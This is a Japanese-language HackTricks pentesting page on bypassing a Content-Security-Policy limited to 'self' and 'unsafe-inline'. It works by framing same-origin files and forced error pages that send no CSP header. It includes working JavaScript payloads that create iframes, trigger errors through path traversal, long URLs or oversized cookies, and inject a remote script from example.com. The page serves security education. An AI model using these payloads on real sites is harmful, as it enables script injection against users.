CSP bypass: self + 'unsafe-inline' with Iframes

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

A configuration such as:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

テキストと画像を通じて

現代のブラウザは、画像やテキストをHTMLに変換して表示を向上させることが観察されています(たとえば、背景の設定、中央揃えなど)。その結果、favicon.icorobots.txtなどの画像やテキストファイルがiframe経由で開かれると、HTMLとしてレンダリングされます。特筆すべきは、これらのページにはしばしばCSPヘッダーが欠けていることやX-Frame-Optionsが含まれていないことがあり、それによりそれらから任意のJavaScriptが実行される可能性があることです。

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

エラー経由

同様に、テキストファイルや画像などのエラーレスポンスは、通常CSPヘッダーが付与されず、X-Frame-Optionsが省略されることがあります。エラーをiframe内で読み込むよう誘導することで、以下のアクションが可能になります。

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

以下のいずれかのシナリオをトリガーした後、次のようにしてiframe内でJavaScriptの実行が可能になります:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

Last updated